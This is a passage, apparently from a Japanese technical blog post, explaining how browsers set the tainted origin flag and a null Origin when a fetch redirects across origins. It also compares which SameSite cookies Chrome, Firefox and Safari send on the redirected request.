下手をすると、AのページはBのリソースをfetchしているつもりだが、実はauthenticatedなAのリソースをつかんでしまうことになり、具合が悪い。

どうなるのかの結論を言うと、リダイレクトでオリジンが変わる時に内部的にtainted origin flagが立てられる。すると、③のリクエストのOriginはnullになり、AからAをfetchしているにも関わらず③の応答にAccess-Control-Allow-Origin: nullが無いと応答が取れないはめになる。初期の頃のfetch仕様からこのような動作が規定されていたようで、全てのブラウザで同じ挙動だった。

送られるCookieについては、先のNavigationのリダイレクトと大体同じになる。つまり現状のChromeでは、③はsame-siteとみなされて、Strictを含めたCookieが送られる。一方でFirefoxでは③にはNoneのCookieのみが送られる(Top level navigationではないのでLaxのCookieは送られない)。Safariでは、3rd party cookieの扱いのせいだと思われるが、③にはCookieが送られない。

なかなか奥が深い...